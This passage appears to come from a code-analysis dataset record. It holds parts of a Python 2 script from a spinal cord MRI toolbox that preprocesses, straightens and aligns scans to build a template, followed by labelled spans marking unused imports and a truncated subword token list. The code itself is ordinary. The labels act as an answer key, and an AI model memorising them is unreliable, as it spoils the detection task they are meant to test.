sct.run('sct_propseg -i data_RPI_crop.nii.gz -t t2')\n\n # Erase 3 top and 3 bottom slices of the segmentation to avoid edge effects (Done because propseg tends to diverge on edges)\n print '\\nErasing 3 top and 3 bottom slices of the segmentation to avoid edge effects of propseg...'\n path_seg, file_seg, ext_seg = sct.extract_fname('data_RPI_crop_seg.nii.gz')\n image_seg = nibabel.load('data_RPI_crop_seg.nii.gz')\n from msct_image import Image\n nx, ny, nz, nt, px, py, pz, pt = Image('data_RPI_crop_seg.nii.gz').dim\n data_seg = image_seg.get_data()\n hdr_seg = image_seg.get_header()\n # List slices that contain non zero values\n z_centerline = [iz for iz in range(0, nz, 1) if data_seg[:,:,iz].any() ]\n for k in range(0,3):\n data_seg[:,:,z_centerline[-1]-k] = 0\n if z_centerline[0]+k < nz:\n data_seg[:,:,z_centerline[0]+k] = 0\n img_seg = nibabel.Nifti1Image(data_seg, None, hdr_seg)\n nibabel.save(img_seg, file_seg + '_mod' + ext_seg)\n\n # crop segmentation (but keep same dimension)\n # input:\n # - data_crop_denoised_seg_mod.nii.gz\n # - crop.txt\n # output:\n # - data_crop_denoised_seg_mod_crop.nii.gz\n print '\\nCropping segmentation...'\n if zmax_seg == 'max':\n nx, ny, nz, nt, px, py, pz, pt = Image('data_RPI_crop_seg.nii.gz').dim\n sct.run('sct_crop_image -i data_RPI_crop_seg_mod.nii.gz -o data_RPI_crop_seg_mod_crop.nii.gz -start ' + zmin_seg + ' -end ' + str(nz) + ' -dim 2 -b 0')\n else:\n sct.run('sct_crop_image -i data_RPI_crop_seg_mod.nii.gz -o data_RPI_crop_seg_mod_crop.nii.gz -start ' + zmin_seg + ' -end ' + zmax_seg + ' -dim 2 -b 0')\n\n # Concatenate segmentation and labels_updown if labels_updown is inputed. If not, it concatenates the segmentation and centerline_propseg_RPI.\n print '\\nConcatenating segmentation and label files...'\n labels_updown = False\n list_file_info = os.listdir(PATH_INFO+ '/' + contrast + '/' + subject)\n for k in range(0,len(list_file_info)):\n if list_file_info[k] == 'labels_updown.nii.gz':\n labels_updown = True\n if centerline_proseg == False and labels_updown == False:\n print '\\nERROR: No label file centerline_propseg_RPI.nii.gz or labels_updown.nii.gz in '+PATH_INFO+ '/' + contrast + '/' + subject +'. There must be at least one. Check '+ path_sct+'/dev/template_preprocessing/Readme.md for necessary inputs.'\n sys.exit(2)\n if labels_updown:\n # Creation of centerline from seg and labels for intensity normalization.\n print '\\nExtracting centerline for intensity normalization...'\n sct.run('sct_get_centerline -i data_RPI_crop_seg_mod_crop.nii.gz -method labels -l ' + PATH_INFO + '/' + contrast + '/' + subject + '/labels_updown.nii.gz')\n sct.run('fslmaths data_RPI_crop_seg_mod_crop.nii.gz -add '+ PATH_INFO + '/' + contrast + '/' + subject + '/labels_updown.nii.gz seg_and_labels.nii.gz')\n else:\n sct.run('sct_get_centerline -i data_RPI_crop_seg_mod_crop.nii.gz -method labels -l ' + PATH_INFO + '/' + contrast + '/' + subject + '/centerline_propseg_RPI.nii.gz')\n sct.run('fslmaths data_RPI_crop_seg_mod_crop.nii.gz -add '+ PATH_INFO + '/' + contrast + '/' + subject + '/centerline_propseg_RPI.nii.gz seg_and_labels.nii.gz')\n\n\n\n\n # Normalisation of intensity with centerline before straightening (pb of brainstem with bad centerline)\n print '\\nNormalizing intensity...'\n sct.run('sct_normalize.py -i data_RPI_crop.nii.gz -c generated_centerline.nii.gz')\n\n # straighten image using the concatenation of the segmentation and the labels\n # function: sct_straighten_spinalcord (option: nurbs)\n # input:\n # - data_crop_normalized.nii.gz\n # output:\n # - warp_curve2straight.nii.gz\n # - data_RPI_crop_normalized_straight.nii.gz\n print '\\nStraightening image using centerline...'\n cmd_straighten = ('sct_straighten_spinalcord -i data_RPI_crop_normalized.nii.gz -s ' + PATH_OUTPUT + '/subjects/' + subject + '/' + contrast + '/seg_and_labels.nii.gz -o data_RPI_crop_normalized_straight.nii.gz '+straightening_parameters)\n #sct.printv(cmd_straighten)\n sct.run(cmd_straighten)\n\n # # # normalize intensity\n # print '\\nNormalizing intensity of the straightened image...'\n # sct.run('sct_normalize.py -i data_RPI_crop_straight.nii.gz')\n\n # Crop labels_vertebral file\n print '\\nCropping labels_vertebral file...'\n if ymin_anatomic == None and ymax_anatomic == None:\n sct.run('sct_crop_image -i '+PATH_INFO + '/' + contrast + '/' + subject+ '/labels_vertebral.nii.gz -o labels_vertebral_crop.nii.gz -start ' + zmin_anatomic + ' -end ' + zmax_anatomic + ' -dim 2')\n else: sct.run('sct_crop_image -i '+PATH_INFO + '/' + contrast + '/' + subject+ '/labels_vertebral.nii.gz -o labels_vertebral_crop.nii.gz -start ' + ymin_anatomic+','+zmin_anatomic + ' -end ' + ymax_anatomic+','+ zmax_anatomic + ' -dim 1,2')\n # Dilate labels from labels_vertebral file before straightening\n print '\\nDilating labels from labels_vertebral file...'\n sct.run('fslmaths '+ PATH_OUTPUT + '/subjects/' + subject+ '/' + contrast + '/labels_vertebral_crop.nii.gz -dilF labels_vertebral_dilated.nii.gz')\n\n # apply straightening to labels_vertebral_dilated.nii.gz and to seg_and_labels.nii.gz\n # function: sct_apply_transfo\n # input:\n # - labels_vertebral_dilated.nii.gz\n # - warp_curve2straight.nii.gz\n # output:\n # - labels_vertebral_dilated_reg.nii.gz\n print '\\nApplying straightening to labels_vertebral_dilated.nii.gz...'\n sct.run('sct_apply_transfo -i labels_vertebral_dilated.nii.gz -d data_RPI_crop_normalized_straight.nii.gz -w warp_curve2straight.nii.gz -x nn')\n\n # Select center of mass of labels volume due to past dilatation\n # REMOVE IF NOT REQUIRED\n print '\\nSelecting center of mass of labels volume due to past dilatation...'\n sct.run('sct_label_utils -i labels_vertebral_dilated_reg.nii.gz -o labels_vertebral_dilated_reg_2point.nii.gz -t cubic-to-point')\n\n # Apply straightening to seg_and_labels.nii.gz\n print'\\nApplying transfo to seg_and_labels.nii.gz ...'\n sct.run('sct_apply_transfo -i seg_and_labels.nii.gz -d data_RPI_crop_normalized_straight.nii.gz -w warp_curve2straight.nii.gz -x nn')\n\n ##Calculate the extrem non zero points of the straightened centerline file to crop image one last time\n file = nibabel.load('seg_and_labels_reg.nii.gz')\n data_c = file.get_data()\n\n X,Y,Z = (data_c>0).nonzero()\n\n z_max = max(Z)\n\n z_min = min(Z)\n\n # Crop image one last time\n print'\\nCrop image one last time and create cross to push into template space...'\n sct.run('sct_crop_image -i data_RPI_crop_normalized_straight.nii.gz -o data_RPI_crop_normalized_straight_crop.nii.gz -dim 2 -start '+ str(z_min)+' -end '+ str(z_max))\n\n # Crop labels_vertebral_reg.nii.gz\n print'\\nCrop labels_vertebral_reg.nii.gz and use cross to push into template space...'\n sct.run('sct_crop_image -i labels_vertebral_dilated_reg_2point.nii.gz -o labels_vertebral_dilated_reg_2point_crop.nii.gz -dim 2 -start '+ str(z_min)+' -end '+ str(z_max))", "metadata": "root.do_preprocessing", "header": "['module', '___EOS___']", "index": 223 }, { "content": "def create_cross(contrast):\n # Define list to gather all distances\n list_distances_1 = []\n list_distances_2 = []\n for i in range(0,len(SUBJECTS_LIST)):\n subject = SUBJECTS_LIST[i][0]\n\n # go to output folder\n print '\\nGo to output folder '+ PATH_OUTPUT + '/subjects/'+ subject+ '/' + contrast\n os.chdir(PATH_OUTPUT + '/subjects/' + subject + '/' + contrast )\n\n #Calculate distances between : (last_label and bottom) and (first label and top)\n print '\\nCalculating distances between : (last_label and bottom) and (first label and top)...'\n img_label = nibabel.load('labels_vertebral_dilated_reg_2point_crop.nii.gz')\n data_labels = img_label.get_data()\n from msct_image import Image\n nx, ny, nz, nt, px, py, pz, pt = Image('labels_vertebral_dilated_reg_2point_crop.nii.gz').dim\n X, Y, Z = (data_labels > 0).nonzero()\n list_coordinates = [([X[i], Y[i], Z[i], data_labels[X[i], Y[i], Z[i]]]) for i in range(0, len(X))]\n for i in range(len(list_coordinates)):\n if list_coordinates[i][3] == 1:\n coordinates_first_label = list_coordinates[i]\n if list_coordinates[i][3] == 20:\n coordinates_last_label = list_coordinates[i]\n # Distance 1st label top\n distance_1 = nz - 1 - coordinates_first_label[2]\n distance_2 = nz - 1 - coordinates_last_label[2]\n\n # Complete list to gather all distances\n list_distances_1.append(distance_1)\n list_distances_2.append(distance_2)\n\n # Create a cross on each subject at first and last labels\n print '\\nCreating a cross at first and last labels...'\n os.system('sct_create_cross.py -i data_RPI_crop_normalized_straight_crop.nii.gz -x ' +str(int(round(nx/2.0)))+' -y '+str(int(round(ny/2.0)))+ ' -s '+str(coordinates_last_label[2])+ ' -e '+ str(coordinates_first_label[2]))\n\n # Write into a txt file the list of distances\n # os.chdir('../')\n # f_distance = open('list_distances.txt', 'w')\n # f_distance.write(str(distance_1))\n # f_distance.write(' ')\n # f_distance.write(str(distance_2))\n # f_distance.write('\\n')\n\n # Calculate mean cross height for template and create file of reference\n print '\\nCalculating mean cross height for template and create file of reference'\n mean_distance_1 = int(round(sum(list_distances_1)/len(list_distances_1)))\n mean_distance_2 = int(round(sum(list_distances_2)/len(list_distances_2)))\n L = height_of_template_space - 2 * mean_distance_2\n H = height_of_template_space - 2 * mean_distance_1\n os.chdir(path_sct+'/dev/template_creation')\n os.system('sct_create_cross.py -i template_landmarks-mm.nii.gz -x ' +str(x_size_of_template_space/2)+' -y '+str(y_size_of_template_space/2)+ ' -s '+str(L)+ ' -e '+ str(H))", "metadata": "root.create_cross", "header": "['module', '___EOS___']", "index": 430 }, { "content": "def push_into_templace_space(contrast):\n for i in range(0,len(SUBJECTS_LIST)):\n subject = SUBJECTS_LIST[i][0]\n\n # go to output folder\n print '\\nGo to output folder '+ PATH_OUTPUT + '/subjects/' + subject + '/' + contrast\n os.chdir(PATH_OUTPUT + '/subjects/' + subject + '/' + contrast )\n\n # Push into template space\n print'\\nPush into template space...'\n sct.run('sct_push_into_template_space.py -i data_RPI_crop_normalized_straight_crop.nii.gz -n landmark_native.nii.gz')\n sct.run('sct_push_into_template_space.py -i labels_vertebral_dilated_reg_2point_crop.nii.gz -n landmark_native.nii.gz -a nn')\n\n # Change image type from float64 to uint16\n sct.run('sct_change_image_type.py -i data_RPI_crop_normalized_straight_crop_2temp.nii.gz -o data_RPI_crop_normalized_straight_crop_2temp.nii.gz -t uint16')\n\n # get center of mass of each label group\n print '\\nGet center of mass of each label group due to affine transformation...'\n sct.run('sct_label_utils -i labels_vertebral_dilated_reg_2point_crop_2temp.nii.gz -o labels_vertebral_dilated_reg_2point_crop_2temp.nii.gz -t cubic-to-point')\n\n # Copy labels_vertebral_straight_in_template_space.nii.gz into a folder that will contain each subject labels_vertebral_straight_in_template_space.nii.gz file and rename them\n print'\\nCheck if forlder '+PATH_OUTPUT +'/labels_vertebral_' + contrast+ ' exists and if not creates it ...'\n # check if folder exists and if not create it\n if not os.path.isdir(PATH_OUTPUT +'/labels_vertebral_' + contrast):\n os.makedirs(PATH_OUTPUT + '/labels_vertebral_' + contrast)\n sct.run('cp labels_vertebral_dilated_reg_2point_crop_2temp.nii.gz '+PATH_OUTPUT +'/labels_vertebral_' + contrast + '/'+subject+'.nii.gz')", "metadata": "root.push_into_templace_space", "header": "['module', '___EOS___']", "index": 486 }, { "content": "def average_levels(contrast):\n if contrast == 'both':\n print 'Averaging levels from T1 and T2 contrasts...'\n\n from numpy import mean, zeros, array\n n_i, n_l = 2, number_labels_for_template\n average = zeros((n_i, n_l))\n compteur = 0\n\n img_T1 = nibabel.load(PATH_OUTPUT + '/labels_vertebral_T1/template_landmarks.nii.gz')\n data_T1 = img_T1.get_data()\n X, Y, Z = (data_T1 > 0).nonzero()\n Z = [Z[i] for i in Z.argsort()]\n Z.reverse()\n\n for i in xrange(n_l):\n if i < len(Z):\n average[compteur][i] = Z[i]\n\n compteur = compteur + 1\n\n img_T2 = nibabel.load(PATH_OUTPUT + '/labels_vertebral_T2/template_landmarks.nii.gz')\n data_T2 = img_T2.get_data()\n X, Y, Z = (data_T1 > 0).nonzero()\n Z = [Z[i] for i in Z.argsort()]\n Z.reverse()\n\n for i in xrange(n_l):\n if i < len(Z):\n average[compteur][i] = Z[i]\n\n average = array([int(round(mean([average[average[:, i] > 0, i]]))) for i in xrange(n_l)])\n\n template_absolute_path = path_sct + '/dev/template_creation/template_shape.nii.gz'\n print template_absolute_path\n print '\\nGet dimensions of template...'\n from msct_image import Image\n nx, ny, nz, nt, px, py, pz, pt = Image(template_absolute_path).dim\n print '.. matrix size: ' + str(nx) + ' x ' + str(ny) + ' x ' + str(nz)\n print '.. voxel size: ' + str(px) + 'mm x ' + str(py) + 'mm x ' + str(pz) + 'mm'\n\n img = nibabel.load(template_absolute_path)\n data = img.get_data()\n hdr = img.get_header()\n data[:, :, :] = 0\n compteur = 1\n for i in average:\n print int(round(nx / 2.0)), int(round(ny / 2.0)), int(round(i)), int(round(compteur))\n data[int(round(nx / 2.0)), int(round(ny / 2.0)), int(round(i))] = int(round(compteur))\n compteur = compteur + 1\n\n print '\\nSave volume ...'\n # hdr.set_data_dtype('float32') # set imagetype to uint8\n # save volume\n # data = data.astype(float32, copy =False)\n img = nibabel.Nifti1Image(data, None, hdr)\n file_name = PATH_OUTPUT + '/labels_vertebral_T1/template_landmarks.nii.gz'\n nibabel.save(img, file_name)\n print '\\nFile created : ' + file_name\n file_name = PATH_OUTPUT + '/labels_vertebral_T2/template_landmarks.nii.gz'\n nibabel.save(img, file_name)\n print '\\nFile created : ' + file_name\n\n else:\n print '\\nGo to output folder '+ PATH_OUTPUT + '/labels_vertebral_' + contrast + '\\n'\n os.chdir(PATH_OUTPUT +'/labels_vertebral_' + contrast)\n print'\\nCalculate mean along subjects of files labels_vertebral and save it into '+PATH_OUTPUT +'/labels_vertebral_' + contrast +' as template_landmarks.nii.gz'\n template_shape = path_sct + '/dev/template_creation/template_shape.nii.gz'\n # this function looks at all files inside the folder \"labels_vertebral_T*\" and find the average vertebral levels across subjects\n sct.run('sct_average_levels.py -i ' +PATH_OUTPUT +'/labels_vertebral_' + contrast + ' -t '+ template_shape +' -n '+ str(number_labels_for_template))", "metadata": "root.average_levels", "header": "['module', '___EOS___']", "index": 519 }, { "content": "def align_vertebrae(contrast):\n for i in range(0,len(SUBJECTS_LIST)):\n subject = SUBJECTS_LIST[i][0]\n\n # go to output folder\n print '\\nGo to output folder '+ PATH_OUTPUT + '/subjects/'+subject+ '/' + contrast + '\\n'\n os.chdir(PATH_OUTPUT + '/subjects/' + subject + '/' + contrast)\n\n print '\\nAligning vertebrae for subject '+subject+'...'\n sct.printv('\\nsct_align_vertebrae.py -i data_RPI_crop_normalized_straight_crop_2temp.nii.gz -l ' + PATH_OUTPUT + '/subjects/' + subject + '/' + contrast + '/labels_vertebral_dilated_reg_2point_crop_2temp.nii.gz -R ' +PATH_OUTPUT +'/labels_vertebral_' + contrast + '/template_landmarks.nii.gz -o '+ subject+'_aligned.nii.gz -t SyN -w spline')\n os.system('sct_align_vertebrae.py -i data_RPI_crop_normalized_straight_crop_2temp.nii.gz -l ' + PATH_OUTPUT + '/subjects/' + subject + '/' + contrast + '/labels_vertebral_dilated_reg_2point_crop_2temp.nii.gz -R ' +PATH_OUTPUT +'/labels_vertebral_' + contrast + '/template_landmarks.nii.gz -o '+ subject+'_aligned.nii.gz -t SyN -w spline')\n\n # Change image type from float64 to uint16\n sct.run('sct_change_image_type.py -i ' + subject+'_aligned.nii.gz -o ' + subject+'_aligned.nii.gz -t uint16')\n\n # Inform that results for the subject is ready\n print'\\nThe results for subject '+subject+' are ready. You can visualize them by tapping: fslview '+subject+'_aligned_normalized.nii.gz'\n\n # Copy final results into final results\n if not os.path.isdir(PATH_OUTPUT +'/Final_results'):\n os.makedirs(PATH_OUTPUT +'/Final_results')\n sct.run('cp '+subject+'_aligned.nii.gz ' +PATH_OUTPUT +'/Final_results/'+subject+'_aligned_' + contrast + '.nii.gz')\n\n #Save png images of the results into a different folder\n print '\\nSaving png image of the final result into ' + PATH_OUTPUT +'/Image_results...'\n if not os.path.isdir(PATH_OUTPUT +'/Image_results'):\n os.makedirs(PATH_OUTPUT +'/Image_results')\n f = nibabel.load(PATH_OUTPUT +'/Final_results/'+subject+'_aligned_' + contrast + '.nii.gz')\n data = f.get_data()\n from msct_image import Image\n nx, ny, nz, nt, px, py, pz, pt = Image(PATH_OUTPUT +'/Final_results/'+subject+'_aligned_' + contrast + '.nii.gz').dim\n sagital_middle = nx / 2\n coronal_middle = ny / 2\n sagittal = data[sagital_middle, :, :].T\n coronal = data[:, coronal_middle, :].T\n fig, ax = plt.subplots(1, 2)\n ax[0].imshow(sagittal, cmap='gray', origin='lower')\n ax[0].set_title('sagittal')\n ax[1].imshow(coronal, cmap='gray', origin='lower')\n ax[1].set_title('coronal')\n for i in range(2):\n ax[i].set_axis_off()\n fig1 = plt.gcf()\n fig1.savefig(PATH_OUTPUT +'/Image_results'+'/'+subject+'_aligned_' + contrast + '.png', format='png')\n\n timer[contrast].one_subject_done()", "metadata": "root.align_vertebrae", "header": "['module', '___EOS___']", "index": 592 } ]
[ { "span": "from scipy import ndimage", "start_line": 50, "start_column": 0, "end_line": 50, "end_column": 25 }, { "span": "from numpy import array", "start_line": 51, "start_column": 0, "end_line": 51, "end_column": 23 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pre", "-", "process", " ", "data", " ", "for", " ", "template", " ", "creati", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "N", ".", "B", ".:", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "Edit", " ", "variab", "le", ":", " ", "'", "PATH", "\\u", "INFO", "':", " ", "correspond", "s", " ", "to", " ", "the", " ", "variab", "le", " ", "'", "path", "\\u", "results", "'", " ", "in", " ", "file", " ", "preproc", "ess", "\\u", "data\\u", "template", ".", "py_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "Edit", " ", "variab", "le", ":", " ", "'", "PATH", "\\u", "OUTPU", "T", "':", " ", "results", " ", "of", " ", "full", "y", "-", "preprocessed", " ", "T1", " ", "and", " ", "T2", " ", "to", " ", "be", " ", "used", " ", "for", " ", "generat", "ing", " ", "the", " ", "template", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Det", "ail", "s", " ", "of", " ", "what", " ", "this", " ", "script", " ", "doe", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "1", ".", " ", "Import", " ", "dicom", " ", "files", " ", "and", " ", "convert", " ", "to", " ", "NI", "FT", "I", " ", "format", " ", "(", "``", "dcm", "2n", "ii", ")", " ", "(", "output", ":", " ", "data\\u", "RP", "I", ".", "ni", "i", ".", "gz", "``)", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "2", ".", " ", "Change", " ", "orientation", " ", "to", " ", "RP", "I", " ", "(", "sct", "\\u", "orientation", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "3", ".", " ", "Cro", "p", " ", "image", " ", "a", " ", "litt", "le", " ", "above", " ", "the", " ", "brain", "stem", " ", "and", " ", "a", " ", "litt", "le", " ", "under", " ", "L", "2", "/", "L3", " ", "vert", "ebra", "l", " ", "disk", " ", "(", "``", "sct", "\\u", "crop", "\\u", "image", "``)", "(", "output", ":", " ", "``", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", "``)", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "4", ".", " ", "Process", " ", "segmentation", " ", "of", " ", "the", " ", "spin", "al", " ", "cord", " ", "(", "``", "sct", "\\u", "props", "eg", " ", "-", "i", " ", "data\\u", "RP", "I", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "-", "init", "-", "center", "line", " ", "center", "line", "\\u", "props", "eg", "\\u", "RI", ".", "ni", "i", ".", "gz", "``)", "(", "output", ":", " ", "``", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "5", ".", " ", "Erase", " ", "three", " ", "bottom", " ", "and", " ", "top", " ", "slice", "s", " ", "from", " ", "the", " ", "segmentation", " ", "to", " ", "avoid", " ", "edge", " ", "effect", "s", " ", "from", " ", "props", "eg", " ", "(", "output", ":", " ", "``", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "6", ".", " ", "Check", " ", "segmentation", " ", "results", " ", "and", " ", "crop", " ", "if", " ", "need", "ed", " ", "(", "``", "sct", "\\u", "crop", "\\u", "image", "``)", "(", "output", ":", " ", "``", "data\\u", "RP", "I", "\\u", "crop", "\\u", "seg", "\\u", "mod", "\\u", "crop", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "7", ".", " ", "Concat", "enat", "ion", " ", "of", " ", "segmentation", " ", "and", " ", "original", " ", "label", " ", "file", " ", "center", "line", "\\u", "props", "eg", "\\u", "RP", "I", ".", "ni", "i", ".", "gz", " ", "(", "``", "fs", "lma", "ths", " ", "-", "add", "``)", "(", "output", ":", " ", "``", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", "``)", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "8", ".", " ", "Extraction", " ", "of", " ", "the", " ", "center", "line", " ", "for", " ", "normali", "zin", "g", " ", "intensity", " ", "along", " ", "the", " ", "spin", "alc", "ord", " ", "bef", "ore", " ", "straight", "eni", "ng", " ", "(", "``", "sct", "\\u", "get", "\\u", "center", "line", "\\u", "from", "\\u", "labels", "``)", "(", "output", ":", " ", "``", "generat", "ed", "\\u", "center", "line", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "9", ".", " ", "Normalize", " ", "intensity", " ", "along", " ", "z", " ", "(", "``", "sct", "\\u", "normali", "ze", " ", "-", "c", " ", "generat", "ed", "\\u", "center", "line", ".", "ni", "i", ".", "gz", "``)", "(", "output", ":", " ", "``", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "10.", " ", "Strai", "ghte", "n", " ", "volume", " ", "usi", "ng", " ", "this", " ", "concate", "nati", "on", " ", "(", "``", "sct", "\\u", "straight", "en", "\\u", "spin", "alc", "ord", " ", "-", "c", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", " ", "-", "a", " ", "nur", "bs", "``)", "(", "output", ":", " ", "``", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", ".", "ni", "i", ".", "gz", "``)", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "11.", " ", "Apply", " ", "tho", "se", " ", "transformation", " ", "to", " ", "labels", "\\u", "vert", "ebra", "l", ".", "ni", "i", ".", "gz", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "crop", " ", "with", " ", "zmin", "\\u", "anat", "omic", " ", "and", " ", "zmax", "\\u", "anat", "omic", " ", "(", "``", "sct", "\\u", "crop", "\\u", "image", "``)", "(", "output", ":", " ", "``", "labels", "\\u", "vert", "ebra", "l\\u", "crop", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "dilate", " ", "labels", " ", "bef", "ore", " ", "appl", "ying", " ", "warp", "ing", " ", "fields", " ", "to", " ", "avoid", " ", "the", " ", "disa", "pea", "rance", " ", "of", " ", "a", " ", "label", " ", "(", "``", "fs", "lma", "ths", " ", "-", "dil", "F", ")(", "output", ":", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", "\\u", "dilate", "d", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "appl", "y", " ", "warp", "ing", " ", "field", " ", "curve", "2s", "tra", "ight", " ", "(", "``", "sct", "\\u", "appl", "y", "\\u", "transf", "o", " ", "-", "x", " ", "nn", ")", " ", "(", "output", ":", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", "\\u", "dial", "ete", "d\\u", "reg", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "select", " ", "center", " ", "of", " ", "mass", " ", "of", " ", "labels", " ", "volume", " ", "due", " ", "to", " ", "past", " ", "dila", "tation", " ", "(", "``", "sct", "\\u", "label", "\\u", "util", "s", " ", "-", "t", " ", "cubi", "c", "-", "to", "-", "point", ")(", "output", ":", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", "\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "12.", " ", "Apply", " ", "transf", "o", " ", "to", " ", "seg", "\\u", "and", "\\u", "labels", ".", "ni", "i", ".", "gz", " ", "(", "``", "sct", "\\u", "appl", "y", "\\u", "transf", "o", ")(", "output", ":", " ", "seg", "\\u", "and", "\\u", "labels", "\\u", "reg", ".", "ni", "i", ".", "gz", "``)", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "13.", " ", "Cro", "p", " ", "volume", "s", " ", "one", " ", "more", " ", "time", " ", "to", " ", "erase", " ", "the", " ", "blank", " ", "space", "s", " ", "due", " ", "to", " ", "the", " ", "straight", "eni", "ng", ".", " ", "To", " ", "do", " ", "this", ",", " ", "the", " ", "pipeline", " ", "use", "s", " ", "your", " ", "straight", " ", "center", "line", " ", "as", " ", "input", " ", "and", " ", "return", "s", " ", "the", " ", "slice", "s", " ", "number", " ", "of", " ", "the", " ", "upper", " ", "and", " ", "lower", " ", "nonzero", " ", "points", ".", " ", "It", " ", "then", " ", "crop", "s", " ", "your", " ", "volume", " ", "(", "``", "sct", "\\u", "crop", "\\u", "image", ")(", "output", "s", ":", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "normali", "zed", "\\u", "straight", "\\u", "crop", ".", "ni", "i", ".", "gz", ",", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", "\\u", "dilate", "d\\u", "reg", "\\u", "crop", ".", "ni", "i", ".", "gz", "``)", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "14.", " ", "For", " ", "each", " ", "subject", " ", "of", " ", "your", " ", "list", ",", " ", "the", " ", "pipeline", " ", "create", "s", " ", "a", " ", "cross", " ", "of", " ", "5", " ", "mm", " ", "at", " ", "the", " ", "top", " ", "label", " ", "from", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", "\\u", "dilate", "d\\u", "reg", "\\u", "crop", ".", "ni", "i", ".", "gz", " ", "in", " ", "the", " ", "center", " ", "of", " ", "the", " ", "plan", " ", "x", "O", "y", " ", "and", " ", "a", " ", "point", " ", "at", " ", "the", " ", "bottom", " ", "label", " ", "from", " ", "labels", "\\u", "vert", "ebra", "l", ".", "ni", "i", ".", "gz", " ", "in", " ", "the", " ", "center", " ", "of", " ", "the", " ", "plan", " ", "x", "O", "y", " ", "(", "``", "sct", "\\u", "create", "\\u", "cross", ")(", "output", ":", "landmark", "\\u", "nativ", "e", ".", "ni", "i", ".", "gz", "``)", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "15.", " ", "Calculat", "e", " ", "mean", " ", "position", " ", "of", " ", "top", " ", "and", " ", "bottom", " ", "labels", " ", "from", " ", "your", " ", "list", " ", "of", " ", "subject", "s", " ", "to", " ", "create", " ", "cross", " ", "on", " ", "a", " ", "template", " ", "shape", " ", "file", " ", "(", "``", "sct", "\\u", "create", "\\u", "cross", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "16.", " ", "Push", " ", "the", " ", "straight", "ened", " ", "volume", "s", " ", "int", "o", " ", "the", " ", "template", " ", "space", ".", " ", "The", " ", "template", " ", "space", " ", "has", " ", "crosse", "s", " ", "in", " ", "it", " ", "for", " ", "registration", ".", " ", "(", "``", "sct", "\\u", "push", "\\u", "int", "o", "\\u", "template", "\\u", "space", ")(", "output", "s", ":", " ", "data\\u", "RP", "I", "\\u", "crop", "\\u", "straight", "\\u", "normali", "zed", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", ",", " ", "labels", "\\u", "vert", "ebra", "l\\u", "crop", "\\u", "dilate", "d\\u", "reg", "\\u", "crop", "\\u", "2te", "mp", ".", "ni", "i", ".", "gz", "``)", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "17.", " ", "Apply", " ", "cubi", "c", " ", "to", " ", "point", " ", "to", " ", "the", " ", "label", " ", "file", " ", "as", " ", "it", " ", "now", " ", "presen", "ts", " ", "cubi", "c", " ", "group", " ", "of", " ", "labels", " ", "inst", "ead", " ", "of", " ", "discrete", " ", "labels", " ", "(", "``", "sct", "\\u", "label", "\\u", "util", "s", " ", "-", "t", " ", "cubi", "c", "-", "to", "-", "point", ")", " ", "(", "output", ":", " ", "labels", "\\u", "vert", "ebra", "l\\u", "dilate", "d\\u", "reg", "\\u", "2p", "oint", "\\u", "crop", "\\u", 